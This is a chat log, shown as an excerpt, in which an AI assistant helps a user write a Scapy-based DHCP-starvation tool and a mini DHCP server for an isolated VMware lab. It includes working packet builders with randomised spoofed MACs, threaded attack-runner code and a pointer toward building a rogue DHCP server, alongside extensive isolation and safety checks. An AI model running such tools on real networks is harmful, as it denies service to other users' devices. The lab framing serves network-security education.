    print("[*] Finished. Final stats:")
    stats()

if __name__ == "__main__":
    main()
```

What this does

- **Signal handling**: pressing Ctrl+C sets `running = False`, which both `attacker()` and `listener()` loops check.
- **Threads**: runs the attacker and listener in background threads, so both loops operate concurrently.
- **Stats loop**: prints stats every 5 seconds while running.
- **Graceful exit**: joins threads, prints final stats.

✅ This `main()` assumes you already have these globals defined elsewhere in your script:

```python
running = True
sent = 0
leases = {}        # or int counter, depending on your design
fake_macs = set()
requested = []
lock = threading.Lock()
quiet = False
iface = "vmnet10"  # change to your isolated VMnet interface
```

Do you want me to also give you a **tiny test harness** (just sending one DISCOVER and waiting for an OFFER) that you can run before launching the full threaded main? That's often the best way to debug incrementally.

write me a short consice one and also add a argument for which interface

```python
#!/usr/bin/env python3
# concise main for DHCP-starvation tool (requires attacker(), listener(),
stats() defined)
import argparse, threading, signal, time, sys
from scapy.all import get_if_list

# globals expected by your other functions
running = True
iface = None
quiet = False

def main():
    global running, iface, quiet

    p = argparse.ArgumentParser(description="DHCP starvation demo (lab-
only).")
    p.add_argument("-i", "--iface", required=True, help="Interface to use
(host-only VMnet)")
    p.add_argument("-q", "--quiet", action="store_true", help="Suppress
startup messages")
    args = p.parse_args()

    iface = args.iface
    quiet = args.quiet
```

```
    # quick interface sanity check
    if iface not in get_if_list():
        print(f"[!] Interface '{iface}' not found. Available: {',
'.join(get_if_list())}")
        sys.exit(1)

    if not quiet:
        print(f"[*] Starting DHCP-starvation on interface: {iface}")
        print("    Press Ctrl+C to stop and print final stats")

    # graceful shutdown on Ctrl+C
    def _sigint(sig, frame):
        nonlocal_running = globals()
        nonlocal_running['running'] = False
        if not quiet:
            print("\n[!] Ctrl+C received — stopping...")

    signal.signal(signal.SIGINT, _sigint)

    # start threads
    t_listener = threading.Thread(target=listener, daemon=True)
    t_attacker = threading.Thread(target=attacker, daemon=True)
    t_listener.start()
    t_attacker.start()

    try:
        # main loop prints periodic stats
        while running:
            time.sleep(5)
            if not quiet:
                stats()
    except KeyboardInterrupt:
        running = False

    # give threads a moment to clean up
    t_attacker.join(timeout=2)
    t_listener.join(timeout=2)

    # final stats
    if not quiet:
        print("[*] Final stats:")
    stats()

if __name__ == "__main__":
    main()
```

Paste this into your script (above or below your other functions). It expects `attacker()`, `listener()`, and `stats()` to be defined and will validate the interface before starting. Run example:

```css
sudo python3 your_script.py -i vmnet10
```

(Reminder: run only on an isolated host-only/custom VMnet.)

make it shorter, something like FUNCTION main():
    parse command-line arguments:
        - interface
        - duration
        - quiet

    set global iface, quiet

    if not running as root:
        print "Run as root"
        exit program

    start listener thread
    start attacker thread

    TRY:
        if duration provided:
            sleep for duration seconds
        else:
            loop forever:
                sleep 1 second

```
    EXCEPT KeyboardInterrupt:
        if not quiet: print "Stopping..."
    FINALLY:
        set running = False
        sleep 1 second
        call stats() to print summary
END FUNCTION

if script is main program:
    call main()
```

python

```python
#!/usr/bin/env python3
# concise main() for your DHCP-starvation tool (expects attacker(),
listener(), stats() to exist)

import argparse, threading, time, os, sys, signal

running = True
iface = None
quiet = False

def main():
    global running, iface, quiet

    p = argparse.ArgumentParser(add_help=False)
    p.add_argument("-i", "--iface", required=True)
    p.add_argument("-d", "--duration", type=int, default=0, help="seconds to
run (0 = until Ctrl+C)")
    p.add_argument("-q", "--quiet", action="store_true")
    args = p.parse_args()

    iface = args.iface
    quiet = args.quiet

    if os.geteuid() != 0:
        print("Run as root (sudo)."); sys.exit(1)

    # start threads
    t_list = threading.Thread(target=listener, daemon=True); t_list.start()
    t_att = threading.Thread(target=attacker, daemon=True); t_att.start()

    try:
        if args.duration > 0:
            time.sleep(args.duration)
        else:
            while running:
                time.sleep(1)
    except KeyboardInterrupt:
        if not quiet: print("\nStopping...")
    finally:
        running = False
        time.sleep(1)
        stats()

if __name__ == "__main__":
    main()
```

This is a compact, runnable `main()` matching your pseudocode. It:

- parses `iface`, optional `duration`, and `quiet`,
- checks for root,
- starts `listener()` and `attacker()` threads,
- sleeps for `duration` (or until Ctrl+C),
- sets `running = False` on exit and prints final stats.

Drop into your script (which must define `attacker()`, `listener()`, and `stats()`) and run as:

bash

```bash
sudo python3 your_script.py -i vmnet10
```

(Reminder: run only on an isolated host-only/custom VMnet.)

but wait if i run this wouldnt it interfere with my dhcp server, my home router one?

Short answer: **Yes — if you run the tool on a real physical interface that's connected to your home network, it can disrupt your router's DHCP and other devices.** Don't do that. Run only on an *isolated virtual network* (host-only / custom VMnet) or an isolated namespace so the attack traffic never reaches your home router.

Below is a concise safety checklist + concrete checks/commands you can run now to make sure you're safe, and a few practical isolation options you can use instead of risking your home network.

---

1) Don't run on a real NIC connected to the Internet/home LAN

If you run on `eth0`, `wlan0`, or any adapter that has a default gateway and internet access, your DISCOVER/REQUESTs will be seen by the real DHCP server (home router) and will interfere with it. **Avoid these.**

---

2) Quick tests to verify an interface is safe (run this on the machine that will run the attacker script)

Linux commands (copy/paste):

- List available interfaces:

```bash
ip link show
```

- Check if an interface has an IP / gateway (if it does, it's probably live on a network):

```sql
ip addr show dev <iface>
ip route show dev <iface>        # shows routes using that device
```

If `ip addr` shows a valid IPv4 and `ip route show dev <iface>` shows a default route or gateway, **do not use** that iface.

- Check for DHCP traffic currently on an interface (dry sniff — no packets sent):

```nginx
sudo tcpdump -n -i <iface> 'udp port 67 or udp port 68' -c 20
```

If you see DHCP OFFERs/REQUESTs coming in, that interface is on a live network.

- On Windows PowerShell (if running tool on Windows host):

```sql
Get-NetIPConfiguration | ft InterfaceAlias, IPv4Address, IPv4DefaultGateway
```

If `IPv4DefaultGateway` is non-empty for the interface, it's on a live network.

---

3) Recommended safe environments (pick one)

A — **VMware Workstation host-only / custom VMnet** (recommended)

- In VMware Workstation: `Edit → Virtual Network Editor` → create/use a Host-only VMnet (e.g., `VMnet1` or `VMnet10`). Connect your Attacker VM, DHCP Server VM, Client VM and Monitor VM to that VMnet. This traffic never leaves the host.
- In your attacker command use that VM interface name (inside the Attacker VM it will be like `eth0` but it is isolated to the VMnet). On the **host**, the interface names are `vmnet1`, etc. Make sure your `iface` arg points to the VM guest interface that's attached to the host-only network.
- Verify the VMnet is isolated by checking in the Virtual Network Editor that it is not bridged to a physical NIC and that NAT/bridged are disabled for that VMnet.

B — **Use a dedicated VM pair on the same host-only network**

- Run your legitimate DHCP server in a VM (set small pool), run attacker in another VM on the same host-only network. That simulates the attack but won't touch your home router.

C — **Linux network namespace (advanced)**

- On Linux you can create a `ip netns` namespace, attach a veth to it and run the attacker there so packets don't escape. This is safe but needs Linux admin skills.

D — **Physical isolation**

- If you have a spare switch that's not connected to the Internet, create an isolated lab network with physical machines. (Less convenient.)

---

4) Quick checks to pick the RIGHT interface to pass to `-i` (practical)

1. Inside the VM you will use as the attacker, list interfaces with:

```nginx
ip addr
```

Pick the one that has a 169.254.* APIPA or no IPv4, or that you configured when you attached the VM to the host-only VMnet.

2. Run the dry sniff to ensure no DHCP offers are present:

```nginx
sudo tcpdump -n -i <iface> 'udp port 67 or udp port 68' -c 10
```

Expect no output (or only from your test DHCP server VM) — not from your home router.

3. (Optional) Run a dry-run mode of your script that **prints** packets instead of sending (implement `--dry-run`), or toggle `attacker()` to only construct and print packets to confirm `iface` selection before sending.

---

5) Additional safety tips (must do)

- **Always** run the experiment in a host-only/custom VMnet and confirm with `ip route` / `tcpdump` tests above.
- **Take snapshots** of your VMs before running the attack.
- Use a **small test DHCP pool** on your legitimate DHCP server VM (e.g., 10 addresses) and short lease time so exhaustion is reproducible and contained.
- Add a `--dry-run` and `--duration` argument; test with `--duration 10` first.
- In your code, add a runtime sanity check that aborts if the selected interface looks like a bridged/physical interface (has default gateway or carrier up).

  ```python
  # pseudo-check (Linux)
  if 'default' in subprocess.check_output(['ip','route']).decode() and iface
  in subprocess.check_output(['ip','route']).decode():
      abort("Interface seems to have default route — aborting to avoid
  hitting real network")
  ```

---

6) If you accidentally ran it on the home network — what to do

- Immediately stop the script (`Ctrl+C`).
- If you brought down devices, reboot the affected devices or restart DHCP on the router.
- Explain in your report you ran it on isolated network — but don't run on the live network again.

---

7) Short checklist to follow right now (do these before you run anything)

1. Create host-only VMnet in VMware and attach your VMs to it.
2. In your Attacker VM run:
   - `ip addr` → confirm the interface; no default gateway.
   - `sudo tcpdump -i <iface> 'udp port 67 or 68' -c 5` → should show nothing (or only your test DHCP server if it's running).
3. Run script with `--dry-run` first, then `--duration 10` for a real short test.
4. Capture pcap on Monitor VM for evidence:
   `sudo tcpdump -i <monitor_iface> -w demo.pcap 'udp port 67 or 68'`

If you want, I can:

- give you a **one-line check** you can add at program start to *refuse* to run if the selected interface has a default gateway (I can paste that snippet now), **or**
- provide the exact VMware Workstation steps (menu clicks) to create an isolated host-only VMnet.

Which one would help most?

i want to make a virtual fake one just for demoing, what should i do in the vmware pro setting? should i turn off my actual dhcp ?

Nice — good safe plan. You **do not** need to (and should not) turn off your real/home router DHCP. Instead create a fully **isolated host-only VM network** in VMware Workstation Pro and run a small DHCP server **inside a VM** on that isolated network. That way nothing you do reaches the real LAN or router.

Below are short, exact steps you can follow in VMware Workstation Pro + quick VM config notes so you can demo safely.

---

1) Create an isolated host-only network (VMware Workstation Pro)

1. Open **VMware Workstation Pro → Edit → Virtual Network Editor**.
2. Click **Add Network** → choose an unused VMnet (e.g. **VMnet10**) → **Host-only**.
3. Select the new VMnet10, then:
   - **Disable** any VMware DHCP for that VMnet (uncheck **"Use local DHCP service to distribute IP addresses to VMs"**) — we will run our own DHCP server VM.
   - (Optional) If you plan to sniff everything at the host, enable **"Promiscuous Mode"/"Allow promiscuous mode"** for that VMnet if the option is shown. *Not required* for typical sniffing from a VM attached to the same vmnet.
4. Apply/OK.

> Result: VMnet10 is a virtual isolated switch visible only to VMs and the host. No packets go to your home router.

---

2) Create / configure the VMs (minimal set)

Make 3–4 VMs attached to **VMnet10** (Network Adapter → **Custom: Specific virtual network → VMnet10**):

- **Legit DHCP Server VM** (Debian/Ubuntu)
  - Install `isc-dhcp-server` or `dnsmasq`.
  - Configure a *small* pool (e.g. 192.168.250.100–109) and short lease time (e.g. 2–5 minutes) — see config snippet below.
  - Start the DHCP service — this is the “legitimate” server students will try to starve.
- **Attacker VM** (Kali / Debian)
  - Your script runs here. Attach NIC to VMnet10.
  - Install `scapy`, `python3`, etc.
- **Client VM(s)** (Ubuntu/Windows)
  - Leave network set to DHCP; these will request leases from the legitimate server and demonstrate failure when pool is exhausted.
- **Monitor VM** (Debian/Ubuntu) — optional but useful
  - NIC on VMnet10; use `tshark` / `tcpdump` /Wireshark to capture DHCP conversation and prove all frames originate from Attacker VM’s vNIC (for traceability evidence).

> Snapshot each VM before testing.

---

3) Example `isc-dhcp-server` config (quick)

On the DHCP Server VM (Debian/Ubuntu):

Install:

```bash
sudo apt update
sudo apt install -y isc-dhcp-server
```

Edit `/etc/dhcp/dhcpd.conf` (example):

```conf
```

```
option domain-name "lab.local";
option domain-name-servers 8.8.8.8;

default-lease-time 120;    # 2 minutes
max-lease-time 300;

subnet 192.168.250.0 netmask 255.255.255.0 {
  range 192.168.250.100 192.168.250.109;  # 10 addresses - small pool
  option routers 192.168.250.1;
}
```

Make sure `INTERFACESv4` in `/etc/default/isc-dhcp-server` contains the DHCP VM interface (e.g., `eth0`), then:

```bash
sudo systemctl restart isc-dhcp-server
sudo journalctl -u isc-dhcp-server -f   # view logs
```

---

4) Verify isolation BEFORE running attacker

In the **Attacker VM** (or Monitor VM) run:

- Confirm interface present:

```bash
ip addr show
```

- Confirm no default gateway on that VMnet interface:

```bash
ip route show dev <iface>
```

If you see a default route using that interface, something is bridged — **do not run**.

- Dry sniff (should see only your lab DHCP server when it runs):

```bash
sudo tcpdump -n -i <iface> 'udp port 67 or udp port 68' -c 10
```

---

5) Run a small test (dry-run → short run)

1. Start DHCP server VM (ensure it offers leases).
2. On Monitor VM run `sudo tshark -i <iface> -Y dhcp -V` to watch DISCOVER/OFFER/REQUEST/ACK.
3. In Attacker VM run your script with `--dry-run` (print packets) or `--duration 10` for a 10s demo.
4. Watch Monitor + DHCP server logs — capture `dhcpd.leases` and `tshark` pcap for your report.

---

6) Do NOT turn off your home router DHCP

- You **don't** need to disable your home router's DHCP. Host-only VMnet is isolated — the router will not see these packets.
- Disabling your home DHCP is unnecessary and risky — avoid it.

---

7) Extra notes about promiscuous & forged MACs

- If you intend to forge Ethernet source MACs and need the virtual switch to permit them, you may need to enable *forged transmits / promiscuous mode* for that VMnet in the Virtual Network Editor or VM settings. If that's hard to enable, you can still demonstrate the attack by randomizing BOOTP `chaddr` (that's what DHCP server records) — Ethernet-src forgery is **not required** for the assignment demo.

---

8) Quick safety checklist before you press run

- ☐ VLAN/VMnet = VMnet10 (Host-only) and not bridged
- ☐ VMware DHCP for VMnet10 disabled
- ☐ DHCP server VM running with small pool
- ☐ Monitor VM ready to capture

- [ ] Snapshots taken
- [ ] Script use `--duration` or `--dry-run` for initial tests

If you want, I can now:

- paste the exact `dhcpd.conf` plus the `isc-dhcp-server` `/etc/default/isc-dhcp-server` setting you should use, **or**
- give the exact VMware clicks/checkbox names (I can walk you through the Virtual Network Editor UI step by step).

Which do you want next?

okay i will run 2 kali linux vms host only and run the attacker on one and dhcp on one, besides that view these sources i found an tell me if they benefit us:# - https://stackoverflow.com/questions/50026438/crafting-a-dhcp-offer-packet-in-scapy
- https://scapy.readthedocs.io/en/latest/api/scapy.layers.dhcp.html
- https://gist.github.com/yosshy/4551b1fe3d9af63b02d4

Nice finds — all three are useful for your lab. Short summary of what each contains and how it helps, plus exactly how you should use them for your attacker/detector demo.

---

1) StackOverflow — *"Crafting a DHCP OFFER packet in Scapy"*

What it is: a short Q&A showing a real user's OFFER packet and the simple reason their OFFER wasn't visible (they needed to specify the `iface` in `sendp`).
Why it helps: it's a quick troubleshooting tip you'll hit when testing — if you craft packets and can't see them in Wireshark, specifying the interface (and checking promiscuous/forged-transmit settings) is a common fix. Also the example shows required BOOTP/DHCP fields for an OFFER. Stack Overflow

Use it when: your packets aren't showing up on the wire during debugging — check `sendp(pkt, iface=...)`, verify checksums/lengths (Scapy usually fixes these), and confirm the VMnet allows your frames.

---

2) Scapy DHCP docs (official)

What it is: the Scapy API reference for BOOTP/DHCP — lists fields, option names, how `BOOTP.chaddr` is represented, DHCP message types, etc.
Why it helps: this is **the authoritative reference** for the exact field names and types you must use when building DISCOVER/OFFER/REQUEST/ACK packets (e.g., `BOOTP(xid=..., chaddr=...)`, DHCP options format). If you follow this your packets will be syntactically correct. scapy.readthedo...

Use it when: you need to verify how to set `BOOTP.htype/hlen/flags`, format DHCP options (`("message-type", "discover")`, `("server_id", "1.2.3.4")`), or debug why Scapy is warning about a malformed layer.

---

3) Gist — *DHCP Server with Python/Scapy*

What it is: a short example script (gist) that implements a basic DHCP server/offer responder in Scapy. It shows real code for building OFFERs and handling incoming DISCOVER/REQUEST messages. Gist

Why it helps: excellent as a working example if you want to implement a **rogue DHCP server** (not just a starvation client). It demonstrates the flow (listen DISCOVER → craft OFFER with option 54 server_id, yiaddr, siaddr → send). You can adapt parts to:

- craft realistic OFFERS (so clients accept them), or
- learn how servers populate `server_id`, `yiaddr`, and other options your detector should check.

Use it when: you build a rogue DHCP demo or want to double-check how servers respond so your REQUEST construction (on the attacker side) matches the server's expectations.

Concrete recommendations (next steps)

1. **Bookmark the Scapy DHCP docs** and reference it while coding packet fields. It will reduce guesswork. scapy.readthedo...
2. **Use the gist** as a reference if you plan to implement a rogue DHCP server (not necessary for starvation-only). Copy small parts (OFFER construction, option names) and adapt them. Gist
3. **Keep the StackOverflow tip handy** — if you don't see packets in Wireshark/tshark, call `sendp(..., iface="...")`, and check virtual network settings (forged transmits / promiscuous). Stack Overflow

---

Quick mapping to your project tasks

- **If you implement starvation (client-only):**
  - Use Scapy docs for correct `BOOTP.chaddr` padding and XID handling. scapy.readthedo...
  - Use StackOverflow tip when troubleshooting visibility issues. Stack Overflow
- **If you implement a rogue DHCP server (optional extra):**
  - Use gist for a working OFFER responder and adapt `server_id`, `yiaddr`, and option formatting. Gist

---

If you want I can:

- point to the **exact lines** in the gist that build `BOOTP` / `DHCP` (so you can copy them), or
- scan your current code and highlight which parts should be replaced with snippets derived from these sources.

Which do you want?

can you give me a starting point, i am finindg it hard writing the syntac for the dhcp layring

Nice — let's make this *easy to copy/paste and run* as a starting point. Below is a compact, focused starter that shows:

- how to generate a valid random MAC,
- how to create a correct BOOTP/DHCP **DISCOVER** and **REQUEST** with XID,
- how to parse DHCP options from a received packet,
- a tiny one-shot send-and-wait example (send DISCOVER, sniff OFFER, then send REQUEST).

This is intentionally **not** a full starvation tool — it's a minimal building block you can expand into your loop. **Only run on an isolated host-only VMnet (do not run on your home LAN).**

Save as `dhcp_start.py` and run with `sudo python3 dhcp_start.py -i <iface>` (iface = your VM NIC on the host-only VMnet).

```python
#!/usr/bin/env python3
"""
dhcp_start.py  -- minimal DHCP DISCOVER -> OFFER -> REQUEST example using Scapy
Run only in an isolated lab (host-only / VMnet). Requires root.

Purpose: show exact syntax for BOOTP.chaddr (16 bytes), XID handling,
and building DISCOVER and REQUEST DHCP packets.
"""

import argparse, random, time
from scapy.all import (
    Ether, IP, UDP, BOOTP, DHCP,
    sendp, sniff, conf
)

# ---------------- helpers ----------------
def gen_xid():
    return random.getrandbits(32)

def rand_mac_bytes():
    # 6 bytes, locally-administered bit set, multicast clear
    first = random.randint(0x00, 0xff)
    first = (first & 0b11111110) | 0b00000010
    rest = [random.randint(0x00, 0xff) for _ in range(5)]
```

```python
    return bytes([first] + rest)

def mac_b_to_str(mac_b):
    return ':'.join(f"{b:02x}" for b in mac_b)

def make_chaddr(mac_b):
    # BOOTP chaddr is 16 bytes: first 6 = MAC, rest zero-padded
    assert len(mac_b) == 6
    return mac_b + (b'\x00' * 10)

def dhcp_options_to_dict(dhcp_options):
    d = {}
    for o in dhcp_options:
        if isinstance(o, tuple):
            d[o[0]] = o[1]
        elif o == 'end':
            break
    return d

# ---------------- packet builders ----------------
def build_discover(xid, mac_b):
    chaddr = make_chaddr(mac_b)
    eth_src = mac_b_to_str(mac_b)
    pkt = (
        Ether(src=eth_src, dst="ff:ff:ff:ff:ff:ff") /
        IP(src="0.0.0.0", dst="255.255.255.255") /
        UDP(sport=68, dport=67) /
        BOOTP(op=1, htype=1, hlen=6, xid=xid, chaddr=chaddr, flags=0x8000) /
        DHCP(options=[
            ("message-type", "discover"),
            ("param_req_list", [1,3,6,15,51,54]),
            ("hostname", f"lab-client-{random.randint(1000,9999)}"),
            "end"
        ])
    )
    return pkt

def build_request(xid, mac_b, requested_ip, server_id):
    chaddr = make_chaddr(mac_b)
    eth_src = mac_b_to_str(mac_b)
    pkt = (
        Ether(src=eth_src, dst="ff:ff:ff:ff:ff:ff") /
        IP(src="0.0.0.0", dst="255.255.255.255") /
        UDP(sport=68, dport=67) /
        BOOTP(op=1, htype=1, hlen=6, xid=xid, chaddr=chaddr, flags=0x8000) /
        DHCP(options=[
            ("message-type", "request"),
            ("requested_addr", requested_ip),
            ("server_id", server_id),
            ("param_req_list", [1,3,6,15,51,54]),
            ("hostname", f"lab-client-{random.randint(1000,9999)}"),
            "end"
        ])
    )
    return pkt

# ---------------- simple demo flow ----------------
def one_shot_discover_request(iface, timeout=5):
    # prepare
    mac_b = rand_mac_bytes()
    xid = gen_xid()
    discover = build_discover(xid, mac_b)

    print(f"[+] Sending DISCOVER xid=0x{xid:08x} mac={mac_b_to_str(mac_b)} on
{iface}")
    sendp(discover, iface=iface, verbose=False)

    # sniff for OFFER that matches xid
    def _offer_handler(pkt):
        if BOOTP in pkt and DHCP in pkt:
            try:
                rx_xid = pkt[BOOTP].xid
            except Exception:
                return False
            if rx_xid != xid:
                return False
            # found matching OFFER
            opts = dhcp_options_to_dict(pkt[DHCP].options)
            if opts.get("message-type") == 2:      # 2 == OFFER
                yiaddr = pkt[BOOTP].yiaddr
```

```
                server = opts.get("server_id") or pkt[IP].src
                print(f"[+] OFFER xid=0x{rx_xid:08x} offered_ip={yiaddr}
server={server}")
                # send REQUEST
                req = build_request(xid, mac_b, requested_ip=yiaddr,
server_id=server)
                print(f"[+] Sending REQUEST for {yiaddr}")
                sendp(req, iface=iface, verbose=False)
                return True
        return False

    print(f"[+] Listening for OFFER for up to {timeout} seconds...")
    sniff(iface=iface, filter="udp and (port 67 or 68)", prn=_offer_handler,
timeout=timeout, store=0)
    print("[+] Done sniffing (one-shot)")

# ---------------- CLI ----------------
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="DHCP layer syntax starter
(lab-only)")
    parser.add_argument("-i", "--iface", required=True, help="interface to use
(host-only VMnet)")
    parser.add_argument("-t", "--timeout", type=int, default=6, help="sniff
timeout (s) for OFFER")
    args = parser.parse_args()

    # be explicit about safety
    print("[!] WARNING: run only on isolated VMnet (host-only). Do not use a
real LAN interface.")
    # configure scapy verbosity
    conf.verb = 0

    one_shot_discover_request(args.iface, timeout=args.timeout)
```

Quick notes / explanation

- `BOOTP(chaddr=...)` must be a **16-byte** value. `make_chaddr()` pads a 6-byte MAC to 16 bytes.
- `xid` is set in `BOOTP(xid=...)` and used to match OFFERs to the DISCOVER you sent.
- DHCP options are a list of tuples, and end with `"end"`.
- Using `sendp()` emits a raw Ethernet frame — specify `iface=...` so it goes out the right interface and Scapy doesn't guess.
- Some hypervisors *override* Ethernet `src` unless you allow forged transmits — even if that happens, the DHCP server uses `BOOTP.chaddr` (the field you randomized) for leases, so the demo still works.
- This snippet uses `sniff(..., timeout=...)` for a simple one-shot test. Expand to `AsyncSniffer` and loops when building your full tool.

If you want next:

- I can show a tiny `handle(pkt)` example you can plug into your long-running `listener()` to perform OFFER→REQUEST→ACK processing reliably, **or**
- give a minimal `cleanup_loop()` that handles XID timeouts / retransmits.

Which would you like?

review my pseudo code is its logic right?START

GLOBAL:
  iface, server_ip, start_ip, end_ip
  pool = list of IPs from start_ip to end_ip
  available = copy of pool
  leases = {}   # MAC -> IP

FUNCTION build_reply(packet, msg_type, yi=None):

  return packet

FUNCTION handle_packet(pkt):
  if pkt does not contain DHCP: return

  msg_type = DHCP message-type in pkt
  mac = source MAC from pkt

  IF msg_type == DISCOVER:
    if no available IPs:

```
  print "pool exhausted"

  return
ip = leases.get(mac) or first available IP
record tx[xid] = (mac, ip)

send build_reply(pkt, "OFFER", yi=ip)
```

Your pseudocode captures the *basic idea* (respond to DISCOVER with an OFFER, track pool, assign IPs), but it's missing several essential DHCP mechanics and state-handling details that will make the implementation correct, robust, and demo-able. Below I'll:

1. Point out the **problems / missing pieces** (short, concrete).
2. Give an **improved pseudocode** that keeps your structure but fills the gaps (safe to copy into your code design).
3. Add a short **checklist** of extra behaviours to implement and test.

Keep it short — you wrote a good starting skeleton; this just makes it reliable.

What's missing / wrong (quick list)

- **No XID / transaction bookkeeping.** You must store the DISCOVER's XID so the OFFER and later REQUEST/ACK can be correlated.
- **No server identifier (option 54) in OFFER/REQUEST handling.** Clients expect `server_id` in OFFER and in their REQUEST they include it.
- **You don't remove an IP from `available` on OFFER.** If you only note `tx[xid] = (mac,ip)` but don't reserve the IP, two concurrent DISCOVERs could offer the same IP.
- **No ACK/NACK handling.** The real allocation should be finalized on DHCPACK from server (or immediately if you are the server — then you create the ACK after REQUEST).
- **Lease time & expiry missing.** Leases must have expiry; expired leases should return to `available`.
- **No handling of REQUEST messages.** A client sends REQUEST after OFFER — server must validate and send ACK or NAK.
- **No handling of DHCPRELEASE / DECLINE.** Clients may release IPs or decline (ARP conflict).
- **No concurrency / locks.** Shared maps like `available`, `leases`, `tx` must be thread-safe if listener + timers run concurrently.
- **No collision/ARP probing.** Good servers often check for IP conflicts (ARP) before assigning.
- **BOOTP/DHCP options & flags** (broadcast, chaddr, hlen, htype) not referenced; they matter for real Scapy packets.

Improved pseudocode (retain your style; more complete)

```python
START

GLOBAL:
  iface, server_ip
  start_ip, end_ip
  pool = list of IPs from start_ip to end_ip
  available = set(pool)                 # IPs currently free
  leases = {}                           # mac_str -> { ip, expiry_ts,
server_id, lease_time }
  tx = {}                               # xid -> { mac_str, offered_ip, ts,
state }  # pending transactions
  LOCK = threading.Lock()               # protect shared state

FUNCTION now(): return current_epoch_seconds

FUNCTION build_reply(request_pkt, msg_type, yi=None, server_id=server_ip,
lease_time=300):
  # Build BOOTP/DHCP packet with correct fields and options:
  # - use xid from request_pkt in BOOTP.xid
  # - set BOOTP.chaddr to client's MAC
  # - set appropriate DHCP options: message-type, server_id (option 54),
lease_time (51), subnet-mask etc.
  # - set broadcast flag if request had broadcast flag
  return reply_pkt

FUNCTION handle_packet(pkt):
  if pkt does not contain DHCP: return
```

```
  msg_type = DHCP message-type in pkt        #
1=DISCOVER,3=REQUEST,5=ACK,6=NAK,4=DECLINE,7=RELEASE etc.
  xid = pkt[BOOTP].xid
  mac = extract client MAC (from BOOTP.chaddr or Ethernet src)
  client_id = any client-identifier option if present

  if msg_type == DISCOVER:
    with LOCK:
      # Check if this MAC already has an active lease
      if mac in leases and leases[mac].expiry_ts > now():
        ip = leases[mac].ip
        # offer same ip (renewing preference)
        offered_ip = ip
        # optionally refresh expiry on ACK only
      else:
        if available is empty:
          # no free IPs: optionally send DHCPNAK or simply ignore / log
          log("Pool exhausted")
          return
        # reserve an IP now to avoid races
        offered_ip = pop_one_from(available)
        tx[xid] = {'mac': mac, 'offered_ip': offered_ip, 'ts': now(), 'state':
'OFFER_SENT'}
    # Send OFFER (include server_id option)
    offer_pkt = build_reply(pkt, "OFFER", yi=offered_ip)
    send_packet(offer_pkt)

  elif msg_type == REQUEST:
    # client requests an IP (could be in response to our OFFER or a server_id-
directed REQUEST)
    requested_ip = option 50 (requested_addr) if present else
pkt[BOOTP].ciaddr
    server_id_in_req = option 54 if present
    # If REQUEST targets this server (server_id matches) or was broadcast for
this server:
    with LOCK:
      pending = tx.get(xid) or find_tx_for_mac(mac)  # support clients that
change xid
      # Validate requested_ip against pending/offers/available
      if pending and pending['mac'] == mac and pending['offered_ip'] ==
requested_ip:
         # Accept: create lease
         lease_time = configured or option 51
         expiry = now() + lease_time
         leases[mac] = {'ip': requested_ip, 'expiry_ts': expiry, 'lease_time':
lease_time, 'server_id': server_ip}
         # remove pending entry
         del tx[pending_xid]
         # send ACK
         ack_pkt = build_reply(pkt, "ACK", yi=requested_ip)
         send_packet(ack_pkt)
      else:
         # requested IP not matching offer / not available -> send NAK
         nak_pkt = build_reply(pkt, "NAK")
         send_packet(nak_pkt)

  elif msg_type == RELEASE:
    # client voluntarily releases; free the IP now
    with LOCK:
      if mac in leases:
         released_ip = leases[mac].ip
         del leases[mac]
         available.add(released_ip)
         log("Lease released")
    return

  elif msg_type == DECLINE:
    # client reports IP conflict; free and mark as bad temporarily
    with LOCK:
      if mac in leases:
         ip = leases[mac].ip
         del leases[mac]
      # optionally mark ip as suspended / quarantine for some time
      quarantine_ip(ip)
    return

# background thread: cleanup loop
FUNCTION cleanup_loop():
  while running:
```

```
    with LOCK:
      nowt = now()
      # expire leases
      for mac,info in list(leases.items()):
         if info['expiry_ts'] <= nowt:
            available.add(info['ip'])
            del leases[mac]
      # cleanup stale pending tx entries (no OFFER/REQUEST after timeout)
      for xid,meta in list(tx.items()):
         if nowt - meta['ts'] > OFFER_TIMEOUT:
            # return offered_ip to available pool (if reserved)
            available.add(meta['offered_ip'])
            del tx[xid]
    sleep(CHECK_INTERVAL)

END
```

Short checklist of things to implement & test

- [ ] XID mapping and re-match logic (some clients change XID between DISCOVER and REQUEST — support fallback mapping by MAC).
- [ ] Put `LOCK` around all reads/writes to `available`, `tx`, `leases`.
- [ ] Proper DHCP options: include `server_id` in OFFER, honor `requested_addr` (option 50) in REQUEST, include `lease_time` (option 51) in ACK.
- [ ] Send NAK when appropriate.
- [ ] Implement DHCPRELEASE handling.
- [ ] Implement lease expiry and re-add IPs to `available`.
- [ ] (Optional) ARP probe before finalizing allocation to avoid IP conflicts.
- [ ] Logging and PCAP saving for demo screenshots.
- [ ] Test in isolated VMnet only.

Final note

Your core concept was right — keep the pool, offer IPs, mark leases — but the real DHCP protocol needs the XID→state flow, reservation on OFFER, ACK to finalize, lease expiry and release. Use the improved pseudocode above as your roadmap. If you want, paste your next draft (real code or refined pseudocode) and I'll point out exact places to fix/complete.

what about the main fxn

Nice — below is a **short, ready-to-copy** `main()` suitable for the DHCP *server* pseudocode you just wrote. It wires up argument parsing, safety checks (root), starts the listener (sniffer) and cleanup threads, supports an optional `--duration`, and does a clean shutdown that prints final stats.

It assumes you have the following functions/globals defined elsewhere in the script (from your pseudocode):

- `handle_packet(pkt)` — called for each DHCP packet (your packet handler).
- `cleanup_loop()` — background thread to expire leases / clean `tx` entries.
- `stats()` — prints summary.
- Globals: `running` (bool), `iface`, `server_ip`, `start_ip`, `end_ip`, `pool`, `available`, `leases`, `tx`, `LOCK` (or `lock`) — i.e. your shared state.

Paste this near the bottom of your server script.

```python
#!/usr/bin/env python3
import argparse, threading, time, os, sys, signal
from scapy.all import get_if_list, AsyncSniffer

# expected globals (ensure these are defined): running, iface, LOCK, etc.
# running = True  # should be defined globally earlier

def main():
    global running, iface, server_ip, start_ip, end_ip, pool, available,
leases, tx

    p = argparse.ArgumentParser(description="Mini DHCP server (lab-only).")
    p.add_argument("-i", "--iface", required=True, help="Interface (host-only
VMnet)")
    p.add_argument("--server-ip", required=True, help="Server IP to use as
```

```
server_id")
    p.add_argument("--start-ip", required=True, help="Start of pool (e.g.
192.168.250.100)")
    p.add_argument("--end-ip",   required=True, help="End of pool (e.g.
192.168.250.109)")
    p.add_argument("-d", "--duration", type=int, default=0, help="Seconds to
run (0 = until Ctrl+C)")
    p.add_argument("-q", "--quiet", action="store_true")
    args = p.parse_args()

    iface = args.iface
    server_ip = args.server_ip
